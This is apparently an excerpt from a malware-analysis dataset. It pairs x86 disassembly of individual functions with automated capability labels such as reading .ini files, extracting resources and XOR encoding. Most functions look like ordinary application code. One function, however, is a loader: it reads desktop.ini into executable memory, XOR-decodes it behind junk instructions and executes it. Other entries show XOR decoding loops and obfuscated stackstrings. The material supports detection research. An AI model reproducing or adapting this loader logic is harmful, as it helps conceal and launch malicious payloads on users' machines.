joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437411
Capabilities:
Read .ini file

Disassembly:
push 0x434
mov eax, 0x5676de
call fcn.0053d399
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x440], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x434], eax
xor ebx, ebx
xor eax, eax
mov edi, 0x206
mov dword [ebp - 4], ebx
push edi
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push ebx
push eax
call fcn.00538a20
add esp, 0xc
call fcn.00437f60
push eax
lea ecx, [ebp - 0x428]
call fcn.0042a551
lea eax, [ebp - 0x420]
push eax
mov byte [ebp - 4], 1
call fcn.00435508
pop ecx
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00402358
push str.EpsonEvent_Manager_
mov byte [ebp - 4], 2
push dword [ebp - 0x42c]
lea eax, [ebp - 0x428]
push str._s_s
push eax
call fcn.0040a7ee
mov esi, dword [ebp - 0x428]
push esi
call fcn.00437687
add esp, 0x14
test eax, eax
jne 0x4374d6
call fcn.00437643
jmp 0x4374d9
xor eax, eax
inc eax
cmp eax, ebx
jne 0x437506
mov ecx, dword [ebp - 0x42c]
add ecx, 0xfffffff0
call fcn.00402728
lea ecx, [esi - 0x10]
call fcn.00402728
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402728
xor eax, eax
call fcn.0053d41c
ret
call fcn.00437f60
push eax
lea ecx, [ebp - 0x424]
call fcn.0042a551
lea esi, [ebp - 0x438]
mov byte [ebp - 4], 3
call fcn.0041280d
push eax
lea ecx, [ebp - 0x424]
mov byte [ebp - 4], 4
call fcn.0040248a
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x438]
add ecx, 0xfffffff0
call fcn.00402728
push dword [ebp - 0x424]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push ebx
push 0x59df14
push dword [ebp + 8]
call esi
test eax, eax
jne 0x43759f
mov ecx, dword [ebp - 0x424]
add ecx, 0xfffffff0
call fcn.00402728
mov ecx, dword [ebp - 0x42c]
add ecx, 0xfffffff0
call fcn.00402728
mov ecx, dword [ebp - 0x428]
add ecx, 0xfffffff0
call fcn.00402728
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402728
mov eax, ebx
jmp 0x437500
push dword [ebp - 0x424]
push ebx
push str.ModelID
push dword [ebp + 8]
call esi
push dword [ebp - 0x424]
mov ecx, dword [ebp - 0x430]
push ebx
push str.ModelDependency
push dword [ebp + 8]
mov dword [ecx], eax
call esi
push dword [ebp - 0x424]
mov ecx, dword [ebp - 0x440]
push ebx
push str.EPSSetting
push dword [ebp + 8]
mov dword [ecx], eax
call esi
mov ecx, dword [ebp - 0x43c]
mov dword [ecx], eax
xor eax, eax
push edi
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.00538a20
add esp, 0xc
push dword [ebp - 0x424]
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0x5990a0
push str.ShortTranslation
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, dword [ebp - 0x434]
lea eax, [ebp - 0x218]
push eax
call fcn.00402332
xor ebx, ebx
inc ebx
jmp 0x437563
Function at 0x4378fc
Capabilities:
Get common file path

Disassembly:
push 0x214
mov eax, 0x563a88
call fcn.0053d399
and dword [ebp - 4], 0
and dword [ebp - 0x21c], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
mov dword [ebp - 0x220], esi
call fcn.00538a20
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call fcn.00437f60
push eax
mov ecx, esi
call fcn.0042a551
and dword [ebp - 4], 0
push str.EpsonEventManagerLoginTemp
lea eax, [ebp - 0x218]
push eax
push 0x59a4dc
push esi
mov dword [ebp - 0x21c], 1
call fcn.0040a7ee
add esp, 0x10
mov eax, esi
call fcn.0053d41c
ret

Function at 0x43a7aa
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x5c9030]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x43a7ef
push 0x56e280
push 4
push eax
call fcn.0053bca1
push eax
call fcn.00402231
add esp, 0x10
jmp 0x43a805
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x43a885
push edi
call fcn.0053d507
mov edi, dword [eax]
call fcn.0053d507
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0053d4a4
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.0053d507
cmp dword [eax], 0
je 0x43a859
call fcn.0053d507
push dword [eax]
call fcn.00438633
pop ecx
jmp 0x43a860
call fcn.0053d507
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
pop edi
je 0x43a885
cmp dword [ebp - 0x234], esi
jae 0x43a885
push 0
push 0
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x43a887
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00537e11
leave
ret
Function at 0x43ae56
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x5c9030]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.0043add0
pop ecx
cmp eax, esi
je 0x43af40
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x43af40
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.00538a20
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x43af40
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x43af40
cmp esi, 0x14
jge 0x43af40
push 0x10
push 0
push edi
call fcn.0053c9a1
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x43af2f
call fcn.0053d507
cmp dword [eax], 0x22
je 0x43af2f
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.005384e9
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x43af05
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x5caedc], 0
jne 0x43afcb
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x43aff4
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.0043a7aa
pop ecx
pop ecx
test eax, eax
jne 0x43aff6
inc edi
cmp edi, esi
jl 0x43afd1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00537e11
leave
ret 8

Function at 0x43bff2
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x55bca2
call fcn.0053d330
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x43c017
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x43c069
call fcn.00437f60
push eax
lea ecx, [ebp - 0x10]
call fcn.0042a551
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0053bb26
push eax
call fcn.00402231
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402728
mov eax, esi
call fcn.0053d408
ret 8
Function at 0x43c7e7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x43c82f
call fcn.00439b35
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x43c82f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x43c872
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x43c85b
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x43c85b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x43c86f
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x449c3d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x449c84
call fcn.00439b35
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x449c84
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x449ca0
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0044973d
mov esi, eax
test edi, edi
je 0x449c9e
test ebx, ebx
je 0x449c9e
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x44f6ef
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5c9030]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x44f724
xor eax, eax
jmp 0x44f777
lea eax, [ebp - 0x210]
push eax
call fcn.005384e9
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x44f755
push 0x599b60
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0053bfac
add esp, 0xc
test eax, eax
jne 0x44f720
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0053bfac
add esp, 0xc
test eax, eax
jne 0x44f720
lea eax, [ebp - 0x210]
push eax
call fcn.0043add0
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00537e11
leave
ret
Function at 0x45eefa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
call fcn.0045ebc5
push eax
push esi
push dword [ebp + 8]
call fcn.0045eb7a
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0045ebb5
pop ebp
scasd eax, dword es:[edi]
xchg byte [edi], ah
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
inc ebp
hlt
int 0xc6
inc ebp
cmc
fcmovb st(0), st(6)
inc ebp
neg dl
mov byte [ebp - 9], 0xbf
call fcn.0045ebc5
push eax
push esi
push dword [ebp + 8]
call fcn.0045eb7a
mov dword [ebp - 8], eax
inc ebp
clc

Function at 0x45ef6d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
clc
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0045ebc5
push eax
push esi
push dword [ebp + 8]
call fcn.0045eb7a
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
invalid
inc ebp
invalid
Function at 0x475c9e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push esi
mov esi, ecx
push edi
xor edi, edi
push str.UxTheme.dll
mov dword [esi], vtable.CMFCBaseVisualManager.0
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
call fcn.0043add0
pop ecx
mov dword [esi + 0x4c], eax
cmp eax, edi
je 0x475d5a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.OpenThemeData
push eax
call edi
push str.CloseThemeData
push dword [esi + 0x4c]
mov dword [esi + 0x50], eax
call edi
push str.DrawThemeBackground
push dword [esi + 0x4c]
mov dword [esi + 0x54], eax
call edi
push str.GetThemeColor
push dword [esi + 0x4c]
mov dword [esi + 0x58], eax
call edi
push str.GetThemeSysColor
push dword [esi + 0x4c]
mov dword [esi + 0x5c], eax
call edi
push str.GetCurrentThemeName
push dword [esi + 0x4c]
mov dword [esi + 0x60], eax
call edi
push str.GetWindowTheme
push dword [esi + 0x4c]
mov dword [esi + 0x64], eax
call edi
mov ecx, esi
mov dword [esi + 0x68], eax
call fcn.00475470
jmp 0x475d6f
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x68], edi
pop edi
mov eax, esi
pop esi
ret

Function at 0x487bed
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00439b35
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x487c26
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0048782a
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x487c84
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x487ca8
cmp dword [edi + 0x74], 0
jne 0x487ca8
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00439b35
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00487c45
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4c604e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4c6068
call fcn.00439b35
mov esi, dword [eax + 0xc]
push dword [0x5ced84]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4c6086
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4c607e
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4c60b3
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x4c6080
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004c5f7c
mov esi, eax
jmp 0x4c60a5

Function at 0x515224
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004481cf
call fcn.0041233d
cmp eax, esi
pop esi
jne 0x515240
mov ecx, 0x5ccc68
jmp fcn.00450292
ret

Function at 0x518bc4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x518bdc
mov edi, dword [esi + 0xc]
jmp 0x518c1c
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x518bf5
call fcn.0044a890
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x518c0a
call fcn.0044a890
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x518c1c
call fcn.0044a890
call fcn.00439b35
cmp dword [eax + 0x3c], 0
je 0x518c31
push edi
mov ecx, ebx
call fcn.005179ee
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00518ade
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x518c4f
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x518c5b
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x537e11
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5c9030]
jne 0x537e1b
repz ret
jmp fcn.005412c3
Function at 0x54dfb8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5c9030]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00540ceb
and dword [ebp - 0x14], 0
cmp dword [0x5d1384], 0
mov dword [ebp - 0x18], eax
jne 0x54e06b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x54e113
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x596188
push ebx
call edi
test eax, eax
je 0x54e113
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x596178
push ebx
mov dword [0x5d1384], eax
call edi
push eax
call esi
push 0x596164
push ebx
mov dword [0x5d1388], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5d138c], eax
call edi
push eax
call esi
mov dword [0x5d1394], eax
test eax, eax
je 0x54e06b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5d1390], eax
mov eax, dword [0x5d1390]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x54e0c4
cmp dword [0x5d1394], ecx
je 0x54e0c4
push eax
call esi
push dword [0x5d1394]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x54e0c4
test ebx, ebx
je 0x54e0c4
call edi
test eax, eax
je 0x54e0bb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x54e0bb
test byte [ebp - 8], 1
jne 0x54e0c4
or dword [ebp + 0x10], 0x200000
jmp 0x54e0f7
mov eax, dword [0x5d1388]
cmp eax, dword [ebp - 0x18]
je 0x54e0f7
push eax
call esi
test eax, eax
je 0x54e0f7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x54e0f7
mov eax, dword [0x5d138c]
cmp eax, dword [ebp - 0x18]
je 0x54e0f7
push eax
call esi
test eax, eax
je 0x54e0f7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5d1384]
call esi
test eax, eax
je 0x54e113
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x54e115
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00537e11
leave
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x43b646
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
mov edx, dword [esp]
add esp, 4
dec eax
add eax, ecx
call fcn.0043b689
sub eax, ecx
xor dword [edi], edx
add eax, eax
push eax
mov eax, dword [esp]
add esp, 4
inc edi
mov ecx, 0x39d4eca8
and eax, eax
sub ecx, eax
cmp edi, ebx
jne fcn.0043b646
mov ecx, 0x6170dcc0
add ecx, ecx
add ecx, 0x86ad4d70
ret